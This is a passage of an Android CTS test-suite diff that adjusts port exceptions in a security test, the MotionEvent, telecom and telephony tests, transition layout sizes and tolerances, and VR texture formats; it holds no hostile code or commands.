EXCEPTION_PATTERNS.add(":: 1020"); // used by remote control + EXCEPTION_PATTERNS.add("0.0.0.0:7275"); // used by supl //no current patterns involve address, port and UID combinations //Example for when necessary: EXCEPTION_PATTERNS.add("0.0.0.0:5555 10000") // IPv6 exceptions // TODO: this is not standard notation for IPv6. Use [$addr]:$port instead as per RFC 3986. EXCEPTION_PATTERNS.add(":::5555"); // emulator port for adb + EXCEPTION_PATTERNS.add(":::7275"); // used by supl } @Override diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java index 4a8cc78075b..d36e4206be2 100644 --- a/tests/tests/security/src/android/security/cts/MotionEventTest.java +++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java @@ -39,6 +39,7 @@ import android.view.ViewGroup; import android.view.WindowManager; import com.android.compatibility.common.util.PollingCheck; +import com.android.compatibility.common.util.WidgetTestUtils; import org.junit.Before; import org.junit.Rule; @@ -80,13 +81,12 @@ public class MotionEventTest { * screen to determine approximate locations of touch events without the user knowing. */ @Test - public void testActionOutsideDoesNotContainedObscuredInformation() throws Exception { + public void testActionOutsideDoesNotContainedObscuredInformation() throws Throwable { enableAppOps(); final OnTouchListener listener = new OnTouchListener(); - final Point size = new Point(); - final View[] viewHolder = new View[1]; - mActivity.runOnUiThread(() -> { + FutureTask<View> addViewTask = new FutureTask<>(() -> { final WindowManager wm = mActivity.getSystemService(WindowManager.class); + final Point size = new Point(); wm.getDefaultDisplay().getSize(size); WindowManager.LayoutParams wmlp = new WindowManager.LayoutParams( @@ -115,20 +115,26 @@ public class MotionEventTest { v.setBackgroundColor(Color.BLUE); v.setOnTouchListener(listener); v.setLayoutParams(vglp); - viewHolder[0] = v; wm.addView(v, wmlp); + return v; }); - mInstrumentation.waitForIdleSync(); + mActivity.runOnUiThread(addViewTask); + View view = addViewTask.get(5, TimeUnit.SECONDS); - FutureTask<Point> task = new FutureTask<>(() -> { + // Wait for a layout pass to be certain the view is on the screen + // before getting the location and injecting touches. + WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, view, null /*runnable*/, + true /*forceLayout*/); + + FutureTask<Point> clickLocationTask = new FutureTask<>(() -> { final int[] viewLocation = new int[2]; - viewHolder[0].getLocationOnScreen(viewLocation); + view.getLocationOnScreen(viewLocation); // Set y position to the center of the view, to make sure it is away from the status bar - return new Point(viewLocation[0], viewLocation[1] + viewHolder[0].getHeight() / 2); + return new Point(viewLocation[0], viewLocation[1] + view.getHeight() / 2); }); - mActivity.runOnUiThread(task); - Point viewLocation = task.get(5, TimeUnit.SECONDS); + mActivity.runOnUiThread(clickLocationTask); + Point viewLocation = clickLocationTask.get(5, TimeUnit.SECONDS); injectTap(viewLocation.x, viewLocation.y); List<MotionEvent> outsideEvents = listener.getOutsideEvents(); diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java index a137e675584..31769e1aa78 100644 --- a/tests/tests/security/src/android/security/cts/StagefrightTest.java +++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java @@ -90,11 +90,6 @@ public class StagefrightTest extends InstrumentationTestCase { } @SecurityTest - public void testStagefright_bug_64710074() throws Exception { - doStagefrightTest(R.raw.bug_64710074); - } - - @SecurityTest public void testStagefright_cve_2017_0643() throws Exception { doStagefrightTest(R.raw.cve_2017_0643); } diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml index ae62757a153..cce9785aee7 100644 --- a/tests/tests/telecom/AndroidManifest.xml +++ b/tests/tests/telecom/AndroidManifest.xml @@ -26,6 +26,7 @@ <uses-permission android:name="android.permission.READ_CALL_LOG" /> <uses-permission android:name="android.permission.REGISTER_CALL_PROVIDER" /> <uses-permission android:name="android.permission.ACCEPT_HANDOVER" /> + <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" /> <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" /> diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java index 3e0d2103f96..26a7d6c1e01 100644 --- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java +++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java @@ -28,7 +28,9 @@ import android.os.Handler; import android.os.Looper; import android.os.Parcel; import android.os.ParcelFileDescriptor; +import android.os.Process; import android.os.SystemClock; +import android.os.UserManager; import android.support.test.InstrumentationRegistry; import android.telecom.PhoneAccount; import android.telecom.PhoneAccountHandle; @@ -183,7 +185,6 @@ public class TestUtils { public static final String MERGE_CALLER_NAME = "calls-merged"; public static final String SWAP_CALLER_NAME = "calls-swapped"; - private static final String PRIMARY_USER_SN = "0"; public static boolean shouldTestTelecom(Context context) { if (!HAS_TELECOM) { @@ -210,17 +211,19 @@ public class TestUtils { public static void enablePhoneAccount(Instrumentation instrumentation, PhoneAccountHandle handle) throws Exception { final ComponentName component = handle.getComponentName(); + final long currentUserSerial = getCurrentUserSerialNumber(instrumentation); executeShellCommand(instrumentation, COMMAND_ENABLE + component.getPackageName() + "/" + component.getClassName() + " " - + handle.getId() + " " + PRIMARY_USER_SN); + + handle.getId() + " " + currentUserSerial); } public static void registerSimPhoneAccount(Instrumentation instrumentation, PhoneAccountHandle handle, String label, String address) throws Exception { final ComponentName component = handle.getComponentName(); + final long currentUserSerial = getCurrentUserSerialNumber(instrumentation); executeShellCommand(instrumentation, COMMAND_REGISTER_SIM + component.getPackageName() + "/" + component.getClassName() + " " - + handle.getId() + " " + PRIMARY_USER_SN + " " + label + " " + address); + + handle.getId() + " " + currentUserSerial + " " + label + " " + address); } public static void waitOnAllHandlers(Instrumentation instrumentation) throws Exception { @@ -510,4 +513,10 @@ public class TestUtils { } } } + + private static long getCurrentUserSerialNumber(Instrumentation instrumentation) { + UserManager userManager = + instrumentation.getContext().getSystemService(UserManager.class); + return userManager.getSerialNumberForUser(Process.myUserHandle()); + } } diff --git a/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java index 7323f304f63..f6b30d84061 100644 --- a/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java +++ b/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java @@ -50,8 +50,7 @@ public class CarrierConfigManagerTest extends AndroidTestCase { } private boolean isSimCardPresent() { - return mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE && - mTelephonyManager.getSimState() != TelephonyManager.SIM_STATE_ABSENT; + return mTelephonyManager.getSimState() != TelephonyManager.SIM_STATE_ABSENT; } private void checkConfig(PersistableBundle config) { diff --git a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java index f5446943937..3b8656b60a6 100644 --- a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java +++ b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java @@ -64,10 +64,44 @@ public class SubscriptionManagerTest { private int mSubId; private String mPackageName; + /** + * Callback used in testRegisterNetworkCallback that allows caller to block on + * {@code onAvailable}. + */ + private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback { + private final CountDownLatch mAvailableLatch = new CountDownLatch(1); + + public void waitForAvailable() throws InterruptedException { + assertTrue("Cellular network did not come up after 5 seconds", + mAvailableLatch.await(5, TimeUnit.SECONDS)); + } + + @Override + public void onAvailable(Network network) { + mAvailableLatch.countDown(); + } + } + @BeforeClass public static void setUpClass() throws Exception { InstrumentationRegistry.getInstrumentation().getUiAutomation() .executeShellCommand("svc wifi disable"); + + final TestNetworkCallback callback = new TestNetworkCallback(); + final ConnectivityManager cm = InstrumentationRegistry.getContext() + .getSystemService(ConnectivityManager.class); + cm.registerNetworkCallback(new NetworkRequest.Builder() + .addTransportType(TRANSPORT_CELLULAR) + .addCapability(NET_CAPABILITY_INTERNET) + .build(), callback); + try { + // Wait to get callback for availability of internet + callback.waitForAvailable(); + } catch (InterruptedException e) { + fail("NetworkCallback wait was interrupted."); + } finally { + cm.unregisterNetworkCallback(callback); + } } @AfterClass @@ -84,25 +118,21 @@ public class SubscriptionManagerTest { } /** - * Sanity check that both {@link PackageManager#FEATURE_TELEPHONY} and - * {@link NetworkCapabilities#TRANSPORT_CELLULAR} network must both be - * either defined or undefined; you can't cross the streams. + * Sanity check that the device has a cellular network and a valid default data subId + * when {@link PackageManager#FEATURE_TELEPHONY} support. */ @Test public void testSanity() throws Exception { + if (!isSupported()) return; + final boolean hasCellular = findCellularNetwork() != null; - if (isSupported() && !hasCellular) { + if (!hasCellular) { fail("Device claims to support " + PackageManager.FEATURE_TELEPHONY + " but has no active cellular network, which is required for validation"); - } else if (!isSupported() && hasCellular) { - fail("Device has active cellular network, but claims to not support " - + PackageManager.FEATURE_TELEPHONY); } - if (isSupported()) { - if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) { - fail("Device must have a valid default data subId for validation"); - } + if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) { + fail("Device must have a valid default data subId for validation"); } } diff --git a/tests/tests/transition/res/layout/scene1.xml b/tests/tests/transition/res/layout/scene1.xml index 140bb8d935b..35e45bb296b 100644 --- a/tests/tests/transition/res/layout/scene1.xml +++ b/tests/tests/transition/res/layout/scene1.xml @@ -19,13 +19,13 @@ android:layout_height="match_parent" android:transitionName="holder" android:id="@+id/holder"> - <View android:layout_width="10dp" - android:layout_height="10dp" + <View android:layout_width="30dp" + android:layout_height="30dp" android:background="#F00" android:transitionName="red" android:id="@+id/redSquare" /> - <View android:layout_width="10dp" - android:layout_height="10dp" + <View android:layout_width="30dp" + android:layout_height="30dp" android:background="#0F0" android:transitionName="green" android:id="@+id/greenSquare" diff --git a/tests/tests/transition/res/layout/scene10.xml b/tests/tests/transition/res/layout/scene10.xml index 5403354190f..2fc90015781 100644 --- a/tests/tests/transition/res/layout/scene10.xml +++ b/tests/tests/transition/res/layout/scene10.xml @@ -22,29 +22,29 @@ android:transitionName="holder" android:id="@+id/holder"> <View - android:layout_width="10dp" - android:layout_height="10dp" + android:layout_width="30dp" + android:layout_height="30dp" android:background="#F00" android:layout_alignParentLeft="true" android:layout_alignParentTop="true" android:id="@+id/redSquare"/> <View - android:layout_width="10dp" - android:layout_height="10dp" + android:layout_width="30dp" + android:layout_height="30dp" android:background="#0F0" android:layout_alignParentRight="true" android:layout_alignParentTop="true" android:id="@+id/greenSquare"/> <View - android:layout_width="10dp" - android:layout_height="10dp" + android:layout_width="30dp" + android:layout_height="30dp" android:background="#00F" android:layout_alignParentRight="true" android:layout_alignParentBottom="true" android:id="@+id/blueSquare"/> <View - android:layout_width="10dp" - android:layout_height="10dp" + android:layout_width="30dp" + android:layout_height="30dp" android:background="#FF0" android:layout_alignParentLeft="true" android:layout_alignParentBottom="true" diff --git a/tests/tests/transition/res/layout/scene11.xml b/tests/tests/transition/res/layout/scene11.xml index dc6ef1969e2..3c90df9fdc9 100644 --- a/tests/tests/transition/res/layout/scene11.xml +++ b/tests/tests/transition/res/layout/scene11.xml @@ -23,6 +23,6 @@ <ImageView android:id="@+id/redSquare" android:src="#F00" - android:layout_width="10dp" - android:layout_height="10dp"/> + android:layout_width="30dp" + android:layout_height="30dp"/> </RelativeLayout> diff --git a/tests/tests/transition/res/layout/scene12.xml b/tests/tests/transition/res/layout/scene12.xml index 559ab39afe4..239901e62c7 100644 --- a/tests/tests/transition/res/layout/scene12.xml +++ b/tests/tests/transition/res/layout/scene12.xml @@ -23,23 +23,23 @@ android:orientation="horizontal" android:id="@+id/holder"> <View - android:layout_width="10dp" - android:layout_height="10dp" + android:layout_width="30dp" + android:layout_height="30dp" android:background="#F00" android:id="@+id/redSquare"/> <View - android:layout_width="10dp" - android:layout_height="10dp" + android:layout_width="30dp" + android:layout_height="30dp" android:background="#0F0" android:id="@+id/greenSquare"/> <View - android:layout_width="10dp" - android:layout_height="10dp" + android:layout_width="30dp" + android:layout_height="30dp" android:background="#00F" android:id="@+id/blueSquare"/> <View - android:layout_width="10dp" - android:layout_height="10dp" + android:layout_width="30dp" + android:layout_height="30dp" android:background="#FF0" android:id="@+id/yellowSquare"/> </LinearLayout> diff --git a/tests/tests/transition/res/layout/scene13.xml b/tests/tests/transition/res/layout/scene13.xml index e6a4cafdddc..c7c05759c9b 100644 --- a/tests/tests/transition/res/layout/scene13.xml +++ b/tests/tests/transition/res/layout/scene13.xml @@ -22,34 +22,34 @@ android:transitionName="holder" android:id="@+id/holder"> <View - android:layout_width="10dp" - android:layout_height="10dp" + android:layout_width="30dp" + android:layout_height="30dp" android:background="#F00" android:layout_centerInParent="true" android:transitionName="redSquare" android:id="@+id/redSquare"/> <View - android:layout_width="10dp" - android:layout_height="10dp" + android:layout_width="30dp" + android:layout_height="30dp" android:background="#000" android:layout_alignParentRight="true" android:layout_alignParentTop="true" android:id="@+id/blackSquare"/> <View - android:layout_width="10dp" - android:layout_height="10dp" + android:layout_width="30dp" + android:layout_height="30dp" android:background="#0F0" android:layout_toRightOf="@id/blackSquare" android:id="@+id/greenSquare"/> <View - android:layout_width="10dp" - android:layout_height="10dp" + android:layout_width="30dp" + android:layout_height="30dp" android:background="#00F" android:layout_toRightOf="@id/greenSquare" android:id="@+id/blueSquare"/> <View - android:layout_width="10dp" - android:layout_height="10dp" + android:layout_width="30dp" + android:layout_height="30dp" android:background="#FF0" android:layout_toRightOf="@id/blueSquare" android:id="@+id/yellowSquare"/> diff --git a/tests/tests/transition/res/layout/scene14.xml b/tests/tests/transition/res/layout/scene14.xml index fd2dc4bd61e..2ccf8bbc0ed 100644 --- a/tests/tests/transition/res/layout/scene14.xml +++ b/tests/tests/transition/res/layout/scene14.xml @@ -23,7 +23,7 @@ <ImageView android:id="@+id/redSquare" android:src="#F00" - android:layout_width="10dp" - android:layout_height="10dp" + android:layout_width="30dp" + android:layout_height="30dp" android:visibility="gone"/> </RelativeLayout> diff --git a/tests/tests/transition/res/layout/scene2.xml b/tests/tests/transition/res/layout/scene2.xml index 541ec044abc..9e928018d2b 100644 --- a/tests/tests/transition/res/layout/scene2.xml +++ b/tests/tests/transition/res/layout/scene2.xml @@ -19,13 +19,13 @@ android:layout_height="match_parent" android:transitionName="holder" android:id="@+id/holder"> - <View android:layout_width="10dp" - android:layout_height="10dp" + <View android:layout_width="30dp" + android:layout_height="30dp" android:background="#0F0" android:transitionName="green" android:id="@+id/greenSquare" /> - <View android:layout_width="10dp" - android:layout_height="10dp" + <View android:layout_width="30dp" + android:layout_height="30dp" android:background="#F00" android:transitionName="red" android:id="@+id/redSquare" diff --git a/tests/tests/transition/res/layout/scene3.xml b/tests/tests/transition/res/layout/scene3.xml index 01fb78d783f..08c98a3cc49 100644 --- a/tests/tests/transition/res/layout/scene3.xml +++ b/tests/tests/transition/res/layout/scene3.xml @@ -18,12 +18,12 @@ android:layout_width="match_parent" android:layout_height="match_parent" android:id="@+id/holder"> - <View android:layout_width="10dp" - android:layout_height="10dp" + <View android:layout_width="30dp" + android:layout_height="30dp" android:background="#0F0" android:id="@+id/greenSquare" /> - <View android:layout_width="10dp" - android:layout_height="10dp" + <View android:layout_width="30dp" + android:layout_height="30dp" android:background="#F00" android:id="@+id/redSquare" android:layout_toRightOf="@+id/greenSquare" /> diff --git a/tests/tests/transition/res/layout/scene6.xml b/tests/tests/transition/res/layout/scene6.xml index 8cffee5c766..e3a010bfc0e 100644 --- a/tests/tests/transition/res/layout/scene6.xml +++ b/tests/tests/transition/res/layout/scene6.xml @@ -19,13 +19,13 @@ android:layout_height="match_parent" android:transitionName="holder" android:id="@+id/holder"> - <View android:layout_width="30dp" - android:layout_height="30dp" + <View android:layout_width="50dp" + android:layout_height="50dp" android:background="#0F0" android:transitionName="green" android:id="@+id/greenSquare" /> - <View android:layout_width="30dp" - android:layout_height="30dp" + <View android:layout_width="50dp" + android:layout_height="50dp" android:background="#F00" android:transitionName="red" android:id="@+id/redSquare" diff --git a/tests/tests/transition/res/layout/scene7.xml b/tests/tests/transition/res/layout/scene7.xml index 72c74e861ff..d91b959d2bb 100644 --- a/tests/tests/transition/res/layout/scene7.xml +++ b/tests/tests/transition/res/layout/scene7.xml @@ -19,8 +19,8 @@ android:layout_height="match_parent" android:transitionName="holder" android:id="@+id/holder"> - <View android:layout_width="10dp" - android:layout_height="10dp" + <View android:layout_width="30dp" + android:layout_height="30dp" android:background="#0F0" android:transitionName="green" android:id="@+id/greenSquare" /> diff --git a/tests/tests/transition/res/layout/scene8.xml b/tests/tests/transition/res/layout/scene8.xml index 69674ee777f..5b5c5747c1e 100644 --- a/tests/tests/transition/res/layout/scene8.xml +++ b/tests/tests/transition/res/layout/scene8.xml @@ -19,13 +19,13 @@ android:layout_height="match_parent" android:transitionName="holder" android:id="@+id/holder"> - <View android:layout_width="10dp" - android:layout_height="10dp" + <View android:layout_width="30dp" + android:layout_height="30dp" android:background="#F00" android:transitionName="red" android:id="@+id/greenSquare" /> - <View android:layout_width="10dp" - android:layout_height="10dp" + <View android:layout_width="30dp" + android:layout_height="30dp" android:background="#0F0" android:transitionName="green" android:id="@+id/redSquare" diff --git a/tests/tests/transition/res/layout/scene9.xml b/tests/tests/transition/res/layout/scene9.xml index 2eb3762fc16..66e1be39d9b 100644 --- a/tests/tests/transition/res/layout/scene9.xml +++ b/tests/tests/transition/res/layout/scene9.xml @@ -20,7 +20,7 @@ android:transitionName="holder" android:id="@+id/holder"> <FrameLayout - android:layout_marginTop="50dp" + android:layout_marginTop="70dp" android:layout_width="wrap_content" android:layout_height="wrap_content"> <TextView diff --git a/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java b/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java index c35a0c0fc6e..40ba46b4447 100644 --- a/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java +++ b/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java @@ -45,8 +45,8 @@ import org.junit.runner.RunWith; @MediumTest @RunWith(AndroidJUnit4.class) public class ChangeBoundsTest extends BaseTransitionTest { - private static final int SMALL_SQUARE_SIZE_DP = 10; - private static final int LARGE_SQUARE_SIZE_DP = 30; + private static final int SMALL_SQUARE_SIZE_DP = 30; + private static final int LARGE_SQUARE_SIZE_DP = 50; private static final int SMALL_OFFSET_DP = 2; ChangeBounds mChangeBounds; @@ -337,21 +337,27 @@ public class ChangeBoundsTest extends BaseTransitionTest { width = view.getWidth(); height = view.getHeight(); } - validateDim(name, "width", dimensions.x, width); - validateDim(name, "height", dimensions.y, height); - dimensions.set(width, height); + int newWidth = validateDim(name, "width", dimensions.x, width); + int newHeight = validateDim(name, "height", dimensions.y, height); + dimensions.set(newWidth, newHeight); } - private void validateDim(String name, String dimen, int lastDim, int newDim) { + private int validateDim(String name, String dimen, int lastDim, int newDim) { + int dim = newDim; if (lastDim != -1) { + // We must give a pixel's buffer because the top-left and + // bottom-right may move independently, causing a rounding error + // in size change. if (mGrow) { assertTrue(name + " new " + dimen + " " + newDim + " is less than previous " + lastDim, - newDim >= lastDim); + newDim >= lastDim - 1); + dim = Math.max(lastDim, newDim); } else { assertTrue(name + " new " + dimen + " " + newDim + " is more than previous " + lastDim, - newDim <= lastDim); + newDim <= lastDim + 1); + dim = Math.min(lastDim, newDim); } if (newDim != lastDim) { mDidChangeSize = true; @@ -361,6 +367,7 @@ public class ChangeBoundsTest extends BaseTransitionTest { newDim <= mMax); assertTrue(name + " " + dimen + " " + newDim + " must be >= " + mMin, newDim >= mMin); + return dim; } @Override diff --git a/tests/tests/transition/src/android/transition/cts/TransitionTest.java b/tests/tests/transition/src/android/transition/cts/TransitionTest.java index 683c2223b78..a3239510536 100644 --- a/tests/tests/transition/src/android/transition/cts/TransitionTest.java +++ b/tests/tests/transition/src/android/transition/cts/TransitionTest.java @@ -566,7 +566,7 @@ public class TransitionTest extends BaseTransitionTest { startTransition(R.layout.scene8); // scene 8 swaps the ids, but not the names. No transition should happen. - waitForEnd(0); + waitForEnd(1000); // now change the match order to prefer the id mTransition.setMatchOrder(new int[] {Transition.MATCH_ID, Transition.MATCH_NAME}); diff --git a/tests/vr/jni/VrExtensionsJni.cpp b/tests/vr/jni/VrExtensionsJni.cpp index a5d9db3046f..44956216de5 100644 --- a/tests/vr/jni/VrExtensionsJni.cpp +++ b/tests/vr/jni/VrExtensionsJni.cpp @@ -471,8 +471,7 @@ static void testLinearMagnification(JNIEnv* env, uint32_t flags, uint32_t* middl glEGLImageTargetTexture2DOES(GL_TEXTURE_2D, image); } else { GLenum internal_format = use_srgb_format ? GL_SRGB8_ALPHA8_EXT : GL_RGBA8_OES; - GLenum format = use_srgb_format ? GL_SRGB_ALPHA_EXT : GL_RGBA; - glTexImage2D(GL_TEXTURE_2D, 0, internal_format, kTextureWidth, 1, 0, format, + glTexImage2D(GL_TEXTURE_2D, 0, internal_format, kTextureWidth, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, kTextureData); } glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); @@ -551,8 +550,7 @@ static void testFramebufferBlending(JNIEnv* env, uint32_t flags, uint32_t* final glEGLImageTargetTexture2DOES(GL_TEXTURE_2D, image); } else { GLenum internal_format = use_srgb_format ? GL_SRGB8_ALPHA8_EXT : GL_RGBA8_OES; - GLenum format = use_srgb_format ? GL_SRGB_ALPHA_EXT : GL_RGBA; - glTexImage2D(GL_TEXTURE_2D, 0, internal_format, 1, 1, 0, format, + glTexImage2D(GL_TEXTURE_2D, 0, internal_format, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); } glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, @@ -570,7 +568,7 @@ static void testFramebufferBlending(JNIEnv* env, uint32_t flags, uint32_t* final uint32_t cleared_color = 0; glReadPixels(0, 0, 1, 1, GL_RGBA, GL_UNSIGNED_BYTE, &cleared_color); LOGV(" Cleared Color: %8.8X", cleared_color); - ASSERT_EQ(cleared_color, kBlendDestColor); + ASSERT_NEAR_RGBA(cleared_color, kBlendDestColor, 1); // Draw the texture. glEnable(GL_BLEND); glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); |